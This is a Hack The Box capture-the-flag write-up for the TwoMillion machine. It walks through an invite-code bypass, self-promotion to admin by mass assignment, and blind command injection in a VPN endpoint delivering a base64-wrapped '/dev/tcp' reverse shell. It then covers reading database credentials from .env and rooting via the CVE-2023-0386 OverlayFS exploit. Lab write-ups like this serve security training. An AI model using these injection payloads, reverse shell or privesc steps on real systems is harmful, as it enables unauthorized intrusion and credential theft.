| Platform | HackTheBox |
| Difficulty | Easy |
| OS | Linux (Ubuntu 22.04 Jammy) |
| Target IP | TARGET_IP |
| Date | 2026-11-05 |
| Tags | web, api, invite-code, auth bypass, command injection, privesc |
TL;DR
TwoMillion is a clone of the old Hack The Box registration site. I remember I did it back in the days to register to HTB. The intended entry is to “hack the invite process”: an obfuscated JS file reveals API endpoints, a
self-documenting endpoint explains (in ROT13) how to generate an invite code, and the
generated code (base64) lets us register. Authenticated, the /api/v1 route list
exposes an admin group. A mass-assignment bug in PUT /api/v1/admin/settings/update
lets a normal user set is_admin=1 on their own account. As admin, thePOST /api/v1/admin/vpn/generate endpoint is vulnerable to blind OS command
injection via the username parameter, giving a shell as the web user.
Reading the web root’s .env yields DB credentials reused by the admin system user
(SSH), and admin escalates to root via CVE-2023-0386 (OverlayFS/FUSE copy-up of a
setuid binary) on the box’s vulnerable 5.15 kernel.
Reconnaissance
Full TCP scan found only SSH and HTTP; the web server redirects to the vhost2million.htb, which was added to /etc/hosts.
nmap -sT -p- --min-rate 2000 -T4 TARGET_IP
nmap -sT -sV -sC -p22,80 TARGET_IP
- 22/tcp — OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (→ Ubuntu 22.04 Jammy)
- 80/tcp — nginx, redirects
http://TARGET_IP/→http://2million.htb/
Enumeration
Content discovery confirmed the app layout (an API-driven clone of the old HTB site):
feroxbuster -u http://2million.htb -w /usr/share/feroxbuster/raft-medium-directories.txt -t 50
| Status | Path | Meaning |
|---|---|---|
| 200 | /login, /register, /invite | public pages |
| 302 | /home, /logout | auth-gated |
| 401 | /api | needs authentication |
| 405 | /api/v1/user/login, /api/v1/user/register, /api/v1/invite/verify | POST-only endpoints |
Initial Access / Foothold
1. Hack the invite process
The /invite page loads an obfuscated script (/js/inviteapi.min.js) packed with the
Dean Edwards p,a,c,k,e,d packer. Unpacked, it reveals two functions and endpoints:
function verifyInviteCode(code){ /* POST /api/v1/invite/verify */ }
function makeInviteCode(){ /* POST /api/v1/invite/how/to/generate */ }
The “how to generate” endpoint returns a ROT13-encoded hint:
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | jq .
# data (ROT13): "Va beqre gb trarengr ... /ncv/i1/vaivgr/trarengr"
# -> decodes to: make a POST request to /api/v1/invite/generate
Generate the code (returned base64-encoded), then register and log in:
curl -s -X POST http://2million.htb/api/v1/invite/generate
# {"data":{"code":"<base64>","format":"encoded"}}
echo '<base64>' | base64 -d # -> usable invite code
Register through the browser /invite -> /register flow (sends the exact fields
the backend expects), then log in. Login takes email, not username.
2. Privilege escalation inside the app (mass assignment)
The authenticated route list exposes an admin group:
curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=<session>" | jq .
GET /api/v1/admin/auth -> Check if user is admin
POST /api/v1/admin/vpn/generate -> Generate VPN for specific user
PUT /api/v1/admin/settings/update -> Update user settings
PUT /api/v1/admin/settings/update does not verify the caller is already an admin and
accepts an is_admin field from the request body (JSON). A normal user promotes
themselves:
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Cookie: PHPSESSID=<session>" -H "Content-Type: application/json" \
-d '{"email":"<your-email>","is_admin":1}'
# -> {"id":...,"username":"...","is_admin":1}
curl -s http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=<session>"
# -> {"message":true}
3. Blind OS command injection -> shell
POST /api/v1/admin/vpn/generate (parameter username) builds a VPN config by shelling
out with the username unsanitized. Output is not reflected (the response is the generated.ovpn file), but injection executes — confirmed with a time-based test:
# baseline ~0.6s ; with ;sleep 5; the response takes ~10s (username used twice)
curl -s -o /dev/null -w "%{time_total}\n" -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Cookie: PHPSESSID=<session>" -H "Content-Type: application/json" \
-d '{"username":";sleep 5;"}'
Reverse shell (payload base64-encoded to survive the JSON/shell layers):
# listener on attacker: nc -lvnp 4444
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Cookie: PHPSESSID=<session>" -H "Content-Type: application/json" \
-d '{"username":"; echo <b64 of: bash -i >& /dev/tcp/LHOST/LPORT 0>&1> | base64 -d | bash ;"}'
Lands a shell as the web user www-data.
Privilege Escalation
1. www-data -> admin (credential reuse via .env)
The web root holds a database config readable by www-data:
cat /var/www/html/.env
# DB_USERNAME=admin
# DB_PASSWORD=<redacted>
user.txt in /home/admin/ is mode 640 owned root:admin, so www-data cannot read
it. The DB password is reused for the admin system account, which logs in over SSH:
ssh [email protected] # same password as DB_PASSWORD
cat ~/user.txt
2. admin -> root (CVE-2023-0386, OverlayFS/FUSE)
admin has no sudo rights, but a mail in the spool names the intended vector:
cat /var/mail/admin
# Subject: Urgent: Patch System OS ... "That one in OverlayFS / FUSE looks nasty."
uname -r
# 5.15.70-051570-generic (vulnerable; fixed in 6.2)
CVE-2023-0386 is a local privesc in OverlayFS: a setuid binary served from a FUSE
mount keeps its setuid bit when OverlayFS copies it “up” to a normal filesystem, so an
unprivileged user can obtain a root-owned setuid shell. The box ships the full toolchain
(gcc, make, libcap-dev), so the public PoC compiles on-target:
# PoC: github.com/xkaneiki/CVE-2023-0386 (transferred over the VPN, compiled on the box)
make all # builds fuse, exp, gc
The exploit needs two shells. In the first, start the FUSE mount that serves the
setuid gc binary and leave it running:
# shell 1 (open a second SSH session as admin)
./fuse ./ovlcap/lower ./gc
# stays in the foreground: "f_name: ..." then blocks while mounted
In the second shell, trigger the OverlayFS copy-up, which preserves the setuid bit and
drops a root shell:
# shell 2
./exp
# uid:1000 gid:1000
# [+] mount success
# [+] exploit success! -> root shell
id # uid=0(root)
cat /root/root.txt
Post-Root: the thank_you.json easter egg
/root/ holds a thank_you.json with no flag value, just a message hidden under three
nested layers. The outer object names each layer, so you peel them in order: URL decode,
then hex decode, then base64 decode and XOR against the key HackTheBox (the inner key is
misspelled encrpytion_key on the box).
import json, urllib.parse, base64
o = json.load(open("/root/thank_you.json"))
o = json.loads(urllib.parse.unquote(o["data"])) # url -> json
o = json.loads(bytes.fromhex(o["data"]).decode()) # hex -> json
b = base64.b64decode(o["data"]); k = b"HackTheBox" # base64 -> bytes
print(bytes(c ^ k[i % len(k)] for i, c in enumerate(b)).decode())
It decodes to a thank-you letter from the Hack The Box team marking the platform reaching
2 million users (the box’s namesake):
Dear HackTheBox Community,
We are thrilled to announce a momentous milestone in our journey together […] we celebrate the achievement of reaching 2 million remarkable users […]
With deepest gratitude,
The HackTheBox Team
References
- Dean Edwards JS packer (
p,a,c,k,e,d), client-side obfuscation. - CVE-2023-0386, OverlayFS copy-up setuid local privilege escalation (fixed in Linux 6.2).
PoC: github.com/xkaneiki/CVE-2023-0386. - HTB TwoMillion (retired check required before publishing, see note below).
Note on process: the note-taking and documentation for this write-up were done with the help of an LLM to save time. All the actual work (solving the challenge, running the tools, obtaining the flags) was done by a human behind the keyboard.
